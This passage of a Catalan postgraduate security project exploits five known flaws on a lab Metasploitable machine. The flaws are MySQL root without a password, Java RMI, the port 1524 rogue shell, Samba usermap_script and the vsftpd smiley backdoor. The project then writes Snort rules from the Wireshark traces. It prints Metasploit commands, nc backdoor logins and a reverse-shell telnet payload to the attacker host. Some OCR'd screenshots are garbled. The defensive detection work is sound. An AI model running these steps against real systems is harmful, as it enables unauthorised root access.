Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Figura 4.1: Accés a MySQL com a root

Traces del wireshark

	-		la vivi	ا ، ما								1	1	
No.	Time	Source	Destination	Protocol	Length	nfo						Port	Src Port	
	1 0.00000000	192.168.0.20	192.168.0.40	TCP	74 3	38830 >	mysql	[SYN]	Seq=0	Win=2	9200 Ler	า= 38830	38830	
	2 0.000405000	192.168.0.40	192.168.0.20	TCP	74 n	nysql >	38830	[SYN,	ACK]	Seq=0 /	Ack=1 Wi	in 3306	mysql	
	3 0.000446000	192.168.0.20	192.168.0.40	TCP	66 3	38830 >	mysql	[ACK]	Seq=1	Ack=1	Win=296	59 38830	38830	
	4 0.001744000	192.168.0.40	192.168.0.20	MySQL	132 9	Server	Greetir	ng pro	to=10	versio	n=5.0.51	la 3306	mysql	
	5 0.001815000	192.168.0.20	192.168.0.40	TCP	66 3	38830 >	mysql	[ACK]	Seq=1	Ack=6	7 Win=29	96 38830	38830	
				MySQL										
	7 0.006705000	192.168.0.40	192.168.0.20	TCP	66 n	nysql >	38830	[ACK]	Seq=6	7 Ack=	43 Win=5	57 3306	mysql	
	8 0.006825000	192.168.0.40	192.168.0.20	MySQL	77 F	Respons	e OK					3306	mysql	
	9 0.006999000	192.168.0.20	192.168.0.40	MySQL	103 F	Request	Query					38830	38830	
	10 0.007290000	192.168.0.40	192.168.0.20	MySQL	145 F	Respons	е					3306	mysql	
	11 0 044040000	100 100 0 00	100 100 0 40	7.00				[equal		· · · ·				
														<u> </u>
		1 - Suppor	te multiple results	. Sat										
	MAX Packet	16777216	to materpee result.											
	Charset: utf	8 COLLATE utf8 den	eral ci (33)											
	Username: ro	of	eruc_er (55)											
	osernalie. To													
0000) 00 0c 29 95 (44 69 00 Oc 29 21	6f b2 08 00 45 08).Di)!o	.E.								
0010) 00 5e 0d 5d 4	40 00 40 06 ab a8	c0 a8 00 14 c0 a8	.^.1@.(@	• • •								
0020) 00 28 97 ae () 00 1d b4 96 (0C ea e0 14 61 10	C/ CT 8D 63 80 18	• (• • • •	a 11	· · · ·								
0040	5 f 26 00 0	00 01 05 a6 of 00	00 00 00 01 21 00	١.δ										
0050	00 00 00 00 00	00 00 00 00 00 00	00 00 00 00 00 00											
0060	00 00 00 00 00 00	00 00 72 6f 6f 74	00 00		ro ot									
Fig	ura 4.2: Cap	tura de Wiresha	ark de l'accés a l	MySQL	com a	root								

A les traces podem veure que l'usuari 'root' va en texte pla cap al servidor, podem utilitzar aquest valor a la regla que ha detectar aquest accés. Tenint en compte que s'usuari 'root' es pot utilitzar, malgrat no sigui recomanable, a la regla afegida detectarem que aquest usuari, no ha inclòs cap tipus de password, d'aquesta forma es detecta la configuració errònia de la base de dades.

4.1.2. Java RMI Server Insecure Default Configuration Java Code Execution

Aquesta vulnerabilitat no ha estat detectada per Nessus, però fent un repàs als ports oberts que té la màquina vulnerable, podem observar que té obert el port 1099, ho varem veure al llençar NMAP per comparar resultats amb Nessus, com aquest port és utilitzat per al Java Remote Method Invocation, utilitzat per a la crida de mètodes entre servidors que fan servir aplicacions distribuïdes.

Es va fer una cerca a la web sobre les vulnerabilitats d'aquest protocol, fent la cerca: "vulnerabilities in port 1099" obtenim diversos enllaços, on destaquem el següent: "<u>http://www.rapid7.com/db/modules/exploit/multi/misc/java_rmi_server</u>" que dóna la informació necessària per explorar aquesta vulnerabilitat. Per poder explotar aquesta vulnerabilitat farem servir la consola de metasploit, per arrencar la consola des de la maquina atacant farem:

>msfconsole

Un cop obtinguda la consola de msf, en primer lloc, comprovem que hi ha algun mòdul que ens permeti explotar aquesta vulnerabilitat.

msf> search rmiregistry	
[!] Database not connected or cache not built,	using slow search
Matching Modules	
Name Disclosure Date 1	Rank Description
exploit/multi/misc/java_rmi_server 2011-10	0-15 excellent Java RMI Server Insecure Default Configuration Java Code Execution

Figura 4.3: Modul de metasploit per la vulnerabilitat rmiregistry

Existeix l'exploit per aquest servei, podem obtenir mes informació sobre el mateix mòdul fent:

msf> info exploit/multi/misc/java_rmi_server

Veure l'annexe A5 la informació obtinguda

Abans de llençar el modul contra el servidor, s'ha de carregar i configurar els paràmetres mínims.

msf> use exploit/multi/misc/java_rmi_server							
msf exploit(java	_rmi_serv	er) > shov	v options				
Module options (exploit/mu	lti/misc/ja	va_rmi_server):				
Name Curr	rentsSetting	g Required	Description				
			-				
RHOST		yes	The target address				
RPORT	1099	yes	The target port				
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0				
SRVPORT	8080	yes	The local port to listen on.				
Figura 4.4: Pa	rámetres	mínims p	el funcionament del exploit				

UOC: Postgrau Seguretat en xarxes i sistemes

La comanda 'use' carregarà el mòdul en memòria i un cop carregat podem veure els paràmetres necessaris per poder llençar-lo amb l'ordre 'show options', en aquest cas només cal que li donem la IP del servidor que volem atacar

msf exploit(java_rmi_server) > se	et RHOST 192.168.0.40
-----------------------------------	-----------------------

RHOST => 192.168.0.40

msf exploit(java_rmi_server) > exploit

[*] Started reverse handler on 192.168.0.20:4444

[*] Using URL: http://0.0.0.0:8080/7IpFOUPzL24

[*] Local IP: http://192.168.113.129:8080/7IpFOUPzL24

[*] Connected and sending request for http://192.168.0.20:8080/7IpFOUPzL24/f.jar

[*] 192.168.0.40 java_rmi_server - Replied to request for payload JAR

[*] Sending stage (30355 bytes) to 192.168.0.40

[*] Meterpreter session 1 opened (192.168.0.20:4444 -> 192.168.0.40:39410) at 2014-05-18 21:05:38 +0200

[+] Target 192.168.0.40:1099 may be exploitable...

[*] Server stopped.

meterpreter >

Figura 4.5: Execució del exploit i obtenció de la shell meterpreter.

La parametrització del exploit, la farem amb l'ordre 'set' seguida de cada paràmetre a modificar, com es pot observar a la captura (captura anterior).

Per llençar l'exploit, només cal cridar la comanda 'expliot', en aquest cas, l'execució ens dóna un terminal de meterpreter (payload que permet una infinitat de comandes que s'executen a la màquina atacada).

Des de la consola de meterpreter, podem executar un shell de la màquina atacada amb la comanda 'shell', per comprovar que realment tenim una sessió, fent ifconfig obtenim l'estat de la xarxa (adreces IP) o qui és l'usuari actual de la sessió amb la comanda whoami.

Es pot observar la captura de la sessió obtinguda, a l'annexe A6

A la captura següent, podem veure les traces de WireShark, el contingut d'aquesta captura és bastant mes complexe, però podem observar que el servidor atacat fa una petició d'un fitxer java, que més que probablement conté el payload que ens permetrà la carrega de meterpreter, per tant és aquesta petició la que s'ha de supervisar amb snort.

	🖻 🖪 🗶 😂	₽ 🤇 🔶	🔿 🐳 🛧 🛓 🗐 🗐 🔍 Q (0, 🎫	M 🗹 🍢 % 🕱)
Filter:		•	Expression Clear Apply Desa			
Source	Destination	Protocol Length	Info	Port	Src Port	_
3700(192.168.0.40	192.168.0.20	RMI 82	JRMI, ProtocolAck	1099	rmiregistry	
5100(192.168.0.20	192.168.0.40	TCP 66	646463 > rmiregistry [ACK] Seq=204 Ack	=17 46463	46463	
2600(192.168.0.40	192.168.0.20	TCP 74	56278 > http-alt [SYN] Seq=0 Win=5840	Le 56278	56278	
2100(192.168.0.20	192.168.0.40	TCP 74	http-alt > 56278 [SYN, ACK] Seq=0 Ack	=1 8080	http-alt	
1500(192.168.0.40	192.168.0.20	TCP 66	56278 > http-alt [ACK] Seq=1 Ack=1 Wi	n=5 56278	56278	
7300(192.168.0.40	192.168.0.20	HTTP 310	GET /kOPgjQ6WdV9C/dfXkDGl.jar HTTP/1.	1 56278	56278	
2700(192.168.0.20	192.168.0.40	TCP 66	http-alt > 56278 [ACK] Seq=1 Ack=245 N	win 8080	http-alt	
9300(192.168.0.20	192.168.0.40	TCP 1514	[TCP segment of a reassembled PDU]	8080	http-alt	
3800(192.168.0.20	192.168.0.40	TCP 1514	[TCP segment of a reassembled PDU]	8080	http-alt	
4500(192.168.0.20	192.168.0.40	TCP 1514	[TCP segment of a reassembled PDU]	8080	http-alt	-
•						Þ
[WINDOW SIZE SCA	ting factor. 32j					A
▷ Checksum: 0x853a	[validation disabl	.ed]				
▷ Options: (12 byt	es), No-Operation (NOP), No-Operat	ion (NOP), Timestamps			
▼ [SEQ/ACK analysi	s]					
[Bytes in flig	ht: 244]					•
		17 00 TO 00 CC				
0040 85 db 47 45 54	20 21 6b 41 50 67	6a 51 36 57 64	GET /k OPgjQ6Wd			
0050 38 39 43 21 84	31 2e 31 0d 0a 48	ef 73 74 3a 20	HTTP/1 1 Host			
0070 31 39 32 2e 31	36 38 2e 30 2e 32	30 3a 38 30 38	192.168. 0.20:808			
0080 30 0d 0a 55 73	65 72 2d 41 67 65	6e 74 3a 20 67	0User- Agent: g			
0090 6e 75 2d 63 6c	61 73 73 70 61 74	68 2f 30 2e 39	nu-class path/0.9			
0040 35 20 28 6C 69	52 57 53 58 21 34	2e 32 2e 34 20	5 (llbgc]/4.2.4 (Ubuntu / 2.4.10			
			10001100 9.2.9-10			T
	······································					

4.1.3. Rogue Shell backdoor Detection

La vulnerabilitat de Rogue Shell, es tracta d'una porta del darrera al port indicat, en aquest cas hi ha un servidor que ens obrirà un consola (shell) escoltant al port 1524, per tal d'explotar aquesta vulnerabilitat, utilitzarem la comanda nc, que llença una petició a l'adreça i port indicats, com veiem a la captura següent.

nc 192.168.0.40 1524
root@metasploitable:/# ls
bin
boot
vmlinuz
root@metasploitable:/#
Figura 4.7: Captura de la shell obtinguda en el port 1524

A la captura de WireShark, només podem veure el handshake de l'atacant amb el servidor que utilitzen el port 1524, atès que la vulnerabilitat que es produeix en aquest port és per obtenir directament una shell i no hi ha cap altre servei que l'utilitzi podem fer servir aquesta petició per detectar-la.

			3 占 🔍 🔶 🛛	🗼 🥺 🚡		1		
Filte	r:		•	Expression	Clear Apply Desa			
No.	Time	Source	Destination	Protocol Lei	ngth Info	Port	Src Port	<u>^</u>
	1 0.00000000	192.168.0.20	192.168.0.40	ТСР	74 49205 > ingreslock [SYN] Seq=0 Win=29200	49205	49205	
	2 0.001411000	192.168.0.40	192.168.0.20	TCP	74 ingreslock > 49205 [SYN, ACK] Seq=0 Ack=	: 1524	ingreslock	
	3 0.001491000	192.168.0.20	192.168.0.40	TCP	66 49205 > ingreslock [ACK] Seq=1 Ack=1 Wir	149205	49205	
	4 0.022468000	192.168.0.40	192.168.0.20	TCP	89 ingreslock > 49205 [PSH, ACK] Seq=1 Ack=	: 1524	ingreslock	
	5 0.022534000	192.168.0.20	192.168.0.40	TCP	66 49205 > ingreslock [ACK] Seq=1 Ack=24 Wi	49205	49205	
	6 5.006735000	Vmware_21:6f:b2	Vmware_95:44:69	ARP	42 Who has 192.168.0.40? Tell 192.168.0.20	3		
	7 5.007237000	Vmware_95:44:69	Vmware_21:6f:b2	ARP	60 192.168.0.40 is at 00:0c:29:95:44:69			
	8 10.93559600	(192.168.0.2	192.168.0.255	DB-LSP-[155 Dropbox LAN sync Discovery Protocol	17500	db-lsp-disc	
	9 13.73783700	(192.168.0.20	192.168.0.40	TCP	75 49205 > ingreslock [PSH, ACK] Seq=1 Ack=	49205	49205	
	10 13.73888100	(192.168.0.40	192.168.0.20	TCP	66 ingreslock > 49205 [ACK] Seq=24 Ack=10 W	1524	ingreslock	-
4	11 10 7400000	100 100 0 10	100 100 0 00	7.00		1004	· • •	P
	ama 4. 80 huta	a an wina (712 hit) 00 hutaa cantur	ad (712 his	ta) an intenface 0			_
K E	therpot II Src	• Vmware 05•44•60	(00:00:20:05:44:60)	Det: Vm	2 2 2 2 2 2 2 2 2 2			
b T	nternet Drotoco	Version / Src	192 168 0 40 (192 1	68 0 40) I	Det: 192 168 0 20 (192 168 0 20)			
Ь Т	renewission Con	trol Protocol Src.	Port: ingreslock (1524) Det	Port: 49205 (49205) Seg: 1 Ack: 1 Len: 2	2		
b n	ata (22 hvtae)	croc Procococ, Sic	POIL. INGLESCOCK (13247, 030	Port. 43203 (43203), Seq. 1, Ack. 1, Len. 2.	, ,		-
0000	00 0c 29 21 (of b2 00 0c 29 95	44 69 08 00 45 00)!0).DiE.			
0010	00 4b 79 ee	40 00 40 06 3f 32	c0 a8 00 28 c0 a8	.Ky.@.@.	?2(
0020) 00 14 05 f4 (:0 35 b5 83 bc 77	54 86 fc 31 80 18		.wTl			
0030) 00 b5 65 e9 (00 00 01 01 08 0a	00 34 c5 9b 00 83	e	4			
0040) 74 61 62 60 0	5 3a 2f 23 20	01 /3 /0 60 61 69	table:/#	etasptoi			
					-			
-igu	ıra 4.8: Captı	ura de Wireshark	durant l'obtenci	ó de la sh	ell			

4.1.4. Samba Usermap

Aquesta vulnerabilitat no detectada per Nessus, s'aprofita del fitxer de configuració "username map script" al que podem accedir pel port 139 del servidor, i que l'explotarem des de la consola de metasploit tal com hem fet amb la vulnerabilitat de RMI, de manera que un cop tenim la consola de metasploit executada, buscarem la versió de smb existent.

msf> use auxiliary/scanner/smb/smb_						
use auxiliary/scanner/smb/smb_enumshares	use auxiliary/scanner/smb/smb_login					
use auxiliary/scanner/smb/smb_enumusers	use auxiliary/scanner/smb/smb_lookupsid					
use auxiliary/scanner/smb/smb_enumusers_domain use auxiliary/scanner/smb/smb_version						
Figura 4.9: Cerca de les utilitats d'escanneig smb						

Carreguem el mòdul i comprovem que la versió es la 'Unix Samba 3.0.20-Debian'

msf> use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
RHOSTS 192.168.0.40 yes The target address range or CIDR identifier
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf auxiliary(smb_version) > run
[*] 192.168.0.40:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
Figura 4.10: Cerca de les utilitats d'escanneig smb

Un cop hem comprovat de que es tracta d'una versió vulnerable, passem a carregar l'exploit i el payload que ens facilitarà la consola per accedir al servidor.

Carreguem el payload, en aquest cas les dades les enviarà cap a la maquina atacant de manera que al no obrir cap nou port de servidor es mes difícil la seva detecció.

Un cop carregat el payload configurem els paràmetres i ja podem llançar l'exploit, només caldrà prémer la tecla enter per poder executar les ordres i veure si s'ha obert la sessió de forma correcta.

<pre>msf exploit(usermap_script) > set PAYLOAD cmd/unix/reverse</pre>
PAYLOAD => cmd/unix/reverse
<pre>msf exploit(usermap_script) > show options</pre>
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
RHOST yes The target address
RPORT 139 yes The target port
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
0 Automatic
<pre>msf exploit(usermap_script) > set RHOST 192.168.0.40</pre>
RHOST => 192.168.0.40
<pre>msf exploit(usermap_script) > set LHOST 192.168.0.20</pre>
LHOST => 192.168.0.20
msf exploit(usermap_script) > exploit -j
[*] Exploit running as background job.
[*] Started reverse double handler
<pre>msf exploit(usermap_script) > [*] Accepted the first client connection</pre>
[*] Accepted the second client connection
[*] Command: echo mBXi7C0inj7LyrO8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets
[*] Reading from socket B
[*] B: "mBXi7C0inj7LyrO8\r\n"
[*] Matching
[*] A is input
[*] Command shell session 1 opened (192.168.0.20:4444 -> 192.168.0.40:57359) at 2014-05-17 12:45:02 +0200
Figura 4.11: Carrega i execució de l'exploit smb_usermap

UOC: Postgrau Seguretat en xarxes i sistemes

Per poder llançar comandes primer hem de conéixer la sessió, un cop coneguda nomes cal referenciar-se a la mateixa per executar les ordres. En aquest cas veiem que podem obtenir tot l'arbre de directoris .

msf exploit(usermap_script) > sessions
Active sessions
Id Type Information Connection
1 shell unix 192.168.0.20:4444 -> 192.168.0.40:57359 (192.168.0.40)
msf exploit(usermap_script) > sessions -i 1 -c ls
[*] Running 'ls' on shell session 1 (192.168.0.40)
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
Figura 4.12: Obtenció de la shell inversa de la vulnerabilitat smb_usermap

Examinant les traces de wireshark s'observa que dins del protocol de samba s'envia la comanda telnet amb la IP de la maquina atacant així com el port que després farà servir el servidor atacat per enviar les dades.

	i 🖭 🎱 🕯) 🖻 🖪 🕽	K 🔁 占 9, ሩ) 📦 😜	7 🖢 🗐 📑 ♀, ♀, 🖭	🍇 🗹 ங 🖇	6 🔀	
Filter:				▼ Express	on Clear Apply Desa			
No.	Time	Source	Destination	Protocol	Length Info	Port	Src Port	
10	172.6905790	192.168.0.20	192.168.0.40	TCP	66 40024 > netbios-ssn [ACK] Seq=1	Ack=1 Wi 40024	40024	
11	172.6939290	192.168.0.20	192.168.0.40	SMB	154 Negotiate Protocol Request	40024	40024	
12	172.6943290	192.168.0.40	192.168.0.20	TCP	66 netbios-ssn > 40024 [ACK] Seq=1	Ack=89 W139	netbios-ssn	
13	172.6943290	192.168.0.40	192.168.0.20	SMB	167 Negotiate Protocol Response	139	netbios-ssn	
14	172.6943540	192.168.0.20	192.168.0.40	TCP	66 40024 > netbios-ssn [ACK] Seq=8	9 Ack=102 40024	40024	
15	173.3211380	192.168.0.20	192.168.0.40	SMB	351 Session Setup AndX Request, Use	r: .\/=`n40024	40024	
16	173.3559700	192.168.0.40	192.168.0.20	TCP	66 netbios-ssn > 40024 [ACK] Seq=1	.02 Ack=37.139	netbios-ssn	
17	173.4838100	192.168.0.40	192.168.0.20	TCP	74 57359 > krb524 [SYN] Seq=0 Win=	5840 Len=57359	57359	
18	173.4839140	192.168.0.20	192.168.0.40	TCP	74 krb524 > 57359 [SYN, ACK] Seq=0) Ack=1 Wi 4444	krb524	
19	173.4866800	192.168.0.40	192.168.0.20	TCP	66 57359 > krb524 [ACK] Seq=1 Ack=	1 Win=585 57359	57359	
4								Þ
▶ Erame	a 15: 351 by	tes on wire (28	08 bits). 351 bytes	captured	(2808 bits) on interface 0			-
▶ Ethe	net II. Src	: Vmware 21:6f:	b2 (00:0c:29:21:6f:	2). Dst: 1	/mware 95:44:69 (00:0c:29:95:44:69)			
▷ Inter	net Protoco	l Version 4. Sr	c: 192.168.0.20 (19)	2.168.0.20). Dst: 192.168.0.40 (192.168.0.40)			
▶ Trans	smission Con	trol Protocol.	Src Port: 40024 (40	24). Dst	Port: netbios-ssn (139). Seg: 89. Ack:	102. Len: 285		
b Nate	INS Section	Service		,		,		
0000 0		o si se 71 - 33		a	-y			
0090 T	0 ce 14 // a	19 D2 ac 36 78 5 b2 62 65 57	Td /9 IT b0 de c8 6	dw	.6 X.ym			
00b0 7	5 81 f9 2f 3	3d 60 6e 6f 68	75 70 20 73 68 20 2	d u/=`	no hup sh -			
00c0 6	3 20 27 28 7	73 6c 65 65 70	20 33 36 30 37 7c 7	4 c'(sl	ee p 3607 t			
oodo e	i5 6c 6e 65 7	4 20 31 39 32	2e 31 36 38 2e 30 2	e elnet	19 2.168.0.			
00000	2 30 20 34 3	34 34 34 7c 77	68 69 6c 65 20 3a 2	0 20 444	4 while :			l h
00e0 3	5 70 6/ 6t 7	20 73 68 20 26	26 20 62 72 65 61 6	ib ; do s	h && break			
00e0 3 00f0 3	b 20 04 01 2	C 65 20 22 20	DE DI TO TA EE EO E					
00e0 3 00f0 3 0100 3	b 20 64 61 2	ie 65 20 32 3e	26 31 7c 74 65 6c 6	e ; uone				

4.1.5. vsftpd Smiley Face Backdoor

La vulnerabilitat 'vsftpd Smiley Backdoor' detectada per snort, ens obrirà una porta del darrera al enviar en l'usuari l'emoticona d'una cara somrient, formada per els dos punts seguits del parèntesi tancat ':)'. Un cop inclosos aquest dos caràcters al l'usuari podem posar el password que vulguem als client ftp, la sessió no acabarà d'obrir, però ens executarà un nou servei al port 6200, donant-nos una shell amb privilegis de root.

```
root@kali:~# nc 192.168.0.40 21
220 (vsFTPd 2.3.4)
USER eduard:)
331 Please specify the password.
PASS eduard
Figura 4.14: Accés FTP per l'obtenció del backdoor
```

La sessió queda 'congelada', però si obrim un nou terminal, podem obtenir la shell remota al servidor.

root@kali:~# nc 192.168.0.40 6200
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami
root
Figura 4.15: Backdoor al port 6200 llençat pel servidor FTP vulnerable

Podem veure a la captura de wireshark que l'usuari i el password van en text pla, i que conté l'emoticona feta amb ':)' de manera que serà detectable amb snort.

Filter:			-	Expression	. Clear Apply Desa			
No.	Time	Source	Destination	Protocol Lei	ngth Info	Port	Src Port	
	5 11.81189000	0(192.168.0.40	192.168.0.20	TCP	74 ftp > 49737 [SYN, ACK] Seq=0 Ack=1 w	in=521	ftp	
	6 11.8119200	0(192.168.0.20	192.168.0.40	TCP	66 49737 > ftp [ACK] Seq=1 Ack=1 Win=29	696 49737	49737	
	7 11.81698600	0(192.168.0.40	192.168.0.20	FTP	86 Response: 220 (vsFTPd 2.3.4)	21	ftp	
	8 11.81701900	0(192.168.0.20	192.168.0.40	TCP	66 49737 > ftp [ACK] Seq=1 Ack=21 Win=2	9696 49737	49737	-
	9 16.81431500	0(Vmware_21:6f:b2	Vmware_95:44:69	ARP	42 Who has 192.168.0.40? Tell 192.168.	0.20		
1	0 16.81494800	0(Vmware_95:44:69	Vmware_21:6f:b2	ARP	60 192.168.0.40 is at 00:0c:29:95:44:69	l.		
1	1 21.3001690	0(192.168.0.20	192.168.0.40	FTP	80 Request: USER eduard:)	49737	49737	
1	2 21.3009710	0(192.168.0.40	192.168.0.20	TCP	66 ftp > 49737 [ACK] Seq=21 Ack=15 Win=	579221	ftp	
1	3 21.3009730	0(192.168.0.40	192.168.0.20	FTP	100 Response: 331 Please specify the pas	swor21	ftp	_
1	4 21.30103500	0(192.168.0.20	192.168.0.40	TCP	66 49737 > ftp [ACK] Seq=15 Ack=55 Win=	2969 49737	49737	
								►
Fra	me 11: 80 by:	tes on wire (640 bi	ts), 80 bytes captu	ured (640 bi	its) on interface O			
Eth	ernet II, Sro	: Vmware_21:6f:b2	(00:0c:29:21:6f:b2)	, Dst: Vmwa	are_95:44:69 (00:0c:29:95:44:69)			
Int	ernet Protoco	ol Version 4, Src:	192.168.0.20 (192.)	L68.0.20), [Ost: 192.168.0.40 (192.168.0.40)			
Tra	nsmission Cor	ntrol Protocol, Sro	Port: 49737 (49737	7), Dst Port	t: ftp (21), Seq: 1, Ack: 21, Len: 14			-
⊑i1	a Tranefar Di	ratacal (FTP)						Ľ
000	00 Oc 29 95	44 69 00 0c 29 21	6f b2 08 00 45 00).Di)!oE.			
010	00 42 13 41	40 00 40 06 C5 e/		. В. А@. @. (т				
020	00 1d bd 35	00 00 01 01 01 08 0a	00 60 e9 75 00 09		·`.u			
040	58 99 55 53	45 52 20 65 64 75	61 72 64 3a 29 0a	X.USER e	duard:).			

5. Implementació de les regles de Snort

La implementació de les regles s'ha basat el l'estudi de les traces de Wireshark per cadascun dels atacs.

5.1. MySQL Unpassworeded Account Check

Després de fer diverses proves i anàlisis de les traces, s'ha comprovat que quan fem una crida de la sessió de mysql i s'introdueix el password, a la captura apareix de forma diferenciada, així que podrem detectar si l'usuari 'root' ha introduït un password o no. El codi que separa el valor del usuari del password es el 0x14 tal com es pot veure a la captura.

MySQL Protocol
Packet Length: 65
Packet Number: 1
🗄 Client Capabilities: 0xa60d
🕀 Extended Client Capabilities: 0x000f
MAX Packet: 16777216
Charset: utf8 COLLATE utf8_general_ci (33)
Username: guest
Password: ba28f138d3c47f02289710fad0c04a9ef0c4f8f6
0000 00 0c 29 95 44 69 00 0c 29 21 6f b2 08 00 45 08).Di)!oE.
0010 00 79 0c 8e 40 00 40 06 ac 5c c0 a8 00 14 c0 a8 .y@.@.@\
0020 00 28 8d e8 0c ea 7d 84 e6 97 e3 4a f0 12 80 18 .(}J
0030 00 ld 6a 7b 00 00 01 01 08 0a ff ff ea 28 ff ff;{(
0040 be 6d 41 00 00 01 0d a6 0f 00 00 00 00 01 21 00 .mA
0060 00 00 00 00 00 00 67 75 65 73 74 00 14 ba 28 t1gu est(.
0070 38 03 c4 /T 02 28 9/ 10 TA 00 c0 44 9e TO c4 T8 8(
Figura 5.1: Captura de Wireshark amb el codi de password per MySQL

Per tant la regla quedarà de la següent forma:

alert tcp any any -> any 3306 (msg:"UOC MYSQL root login attempt"; content:"root|00|"; content:!"|14|"; sid:10000001;)

Generant una un missatge d'alerta al log en el cas de que des de qualsevol adreça IP i qualsevol port, es llanci una petició a qualsevol IP contra el port 3306 (on està escoltant MySQL), si aquest petició, conté el missatge "root" seguit de 0x00h (final de entrada ususari) i no conté el caràcter 0x14 (inici del password). El caràcter '!' davant del contingut, analitza la no existència d'aquest contingut.

5.2. Java RMI Server Insecure Default Configuration Java Code Execution

En aquesta vulnerabilitat, en un primer moment es va pensar en buscar el nom del fitxer java que conté el payload, però durant les proves s'ha observat que el nom canvia cada vegada que s'executa l'exploit, per tant, ha calgut revisar quins paquets eren repetitius cada vegada que llençava l'exploit, essent la trama hexadecimal:

"bae60604ade95c63bb511333e25b6b4256321adfba0c416eab6b5fb339d4d086e06d0c"

Repetitiva en totes les proves realitzades. Una característica del exploit és que permet modificar el port on fa l'escolta i per tant cada no podem supervisar cap dels ports per tenir un filtratge més acurat.

Per tant la regla queda de la forma:

alert tcp any any -> any any (msg:"UOC Rmi shell"; content:"| bae60604ade95c63bb511333e25b6b4256321adfba0c416eab6b5fb339d4d086e06d0c|"; sid:10000002;)

Generant un missatge d'alerta "UOC Rmi shell" en el cas de que dins d'una trama tcp es trobi el valor hexadecimal especificat.

5.3. Rogue Shell backdoor Detection

Al tractar-se d'una 'backdooor' sense necessitat de cap exploit, i tal com s'ha comentat en la definició de les vulnerabilitats, s'ha tingut en compte únicament el handshake d'establiment de la comunicació. Amb Snort també es poden analitzar quins flags estan actius i per tant en aquest cas com aquest port només té aquesta utilitat, al acceptar la maquina vulnerable l'establiment amb SYN/ACK és suficient per generar l'alerta.

alert tcp any 1524 -> any any (msg:"UOC rogue shell"; flags:SA; sid:10000003;)

Aquesta regla regera una alerta al acceptar l'establiment de la comunicació sobre el port 1524 sigui quina sigui la IP i el port que vulgui obrir aquesta comunicació. La manera de llegir el handshake, es mitjançant els flags al paràmetre flags:SA (S - Syn i A - Ack)

5.4. Samba Usermap

Dins la crida del protocol s'ha observat que envia la comanda 'telnet', donat que el que fa és bàsicament obrir de forma inversa una sessió de telnet contra el port que assignem al exploit.

Aquesta instrucció telnet la trobem dins del setup de la sessió que es fa sobre el port 139.

alert tcp any any -> any 139 (msg:"UOC Samba Usermap shell"; content:"telnet"; sid:10000004;)

La regla implementada busca la paraula telnet dins els paquets smb, de manera que si des de qualsevol IP i port es troba una paquet dirigit a qualsevol IP i cap al port 139 que contingui la paraula telnet, obtindrem una avis.

5.5. vsftpd Smiley Face Backdoor

En l'analisi de les trames es pot observar que l'accés al servidor es produeix amb texte en clar, pel que només ens cal fer l'anàlisi de la paraula USER seguida de l'emoticona ":)"

alert tcp any any -> any 21 (msg:"UOC backdoor SMILE"; content:"USER"; content:":)"; distance:1; sid:10000005;)

La regla implementada es per a qualsevol IP, des de qualsevol port envii la cadena USER seguida a una distancia superior de un caràcter, de la emoticona ":)" cap a qualsevol IP i el port 21 de transferència FTP.

5.6. El fitxer local rules de Snort

Com ja s'ha comentat durant el desenvolupament d'aquest projecte en el fitxer local.rules que trobem a la ruta /etc/snort/rules/ de la màquina que està corrent Snort, en el nostre cas el dispositiu embedded Raspberry-Pi, afegirem les condicions d'alerta dels atacs que s'han estudiat i creat en l'apartat anterior, quedant de la següent forma:

LOCAL RULES

alert tcp any any -> any 3306 (msg:"UOC MYSQL root login attempt"; content:"root|00|"; content:!"|14|"; distance:0; sid:10000001;)

alert tcp any any -> any any (msg:"UOC Rmi shell"; content:"| bae60604ade95c63bb511333e25b6b4256321adfba0c416eab6b5fb339d4d086e06d0c|"; sid:10000003;)

alert tcp any 1524 -> any any (msg:"UOC rogue shell"; flags:SA; sid:10000003;)

alert tcp any any -> any 139 (msg:"UOC Samba Usermap shell"; content:"telnet"; sid:10000004;)

alert tcp any any -> any 21 (msg:"UOC backdoor SMILE"; content:"USER"; content:":)"; distance:1; sid:10000005;)

Figura 5.2: Fltxer local.rules al directori /etc/snort/rules de la Raspberry-Pi

5.7. Explotació de les vulnerabilitats i el fitxer Alert

Un cop introduïdes les regles, al tornar a llençar tots els atacs, si obrim el fitxer de log on Snort escriu /var/log/snort/alert veiem que han que quedat registrats, per tant podem dir que la detecció es realitza de forma correcte. A la captura següent es pot veure que totes les regles implementades funcionen de forma correcte.

[**] [1:1000002:0] UOC MYSQL root login attempt [**] [Priority: 0] 05/21-01:09:37.215729 192.168.0.20:44197 -> 192.168.0.40:3306 TCP TTL:64 TOS:0x8 ID:58267 IpLen:20 DgmLen:94 DF ***AP*** Seq: 0x7C0C72D0 Ack: 0xF46353B1 Win: 0x1D TcpLen: 32 TCP Options (3) => NOP NOP TS: 1544538 617494

[**] [1:10000003:0] UOC Rmi shell [**]

[Priority: 0]

06/07-19:08:06.719564 192.168.0.20:8080 -> 192.168.0.40:39755 TCP TTL:64 TOS:0x0 ID:7306 IpLen:20 DgmLen:1500 DF ***A**** Seq: 0x7700DE41 Ack: 0x9BEDFC2B Win: 0x1E TcpLen: 32 TCP Options (3) => NOP NOP TS: 1229514 492201

[**] [1:10000004:0] UOC Samba Usermap shell [**]
[Priority: 0]
06/09-20:18:11.674780 192.168.0.20:36039 -> 192.168.0.40:139

TCP TTL:64 TOS:0x0 ID:43397 IpLen:20 DgmLen:337 DF

AP Seq: 0xC68F4BF6 Ack: 0xCC1ABDB8 Win: 0x1D TcpLen: 32

TCP Options (3) => NOP NOP TS: 3990050 1603287

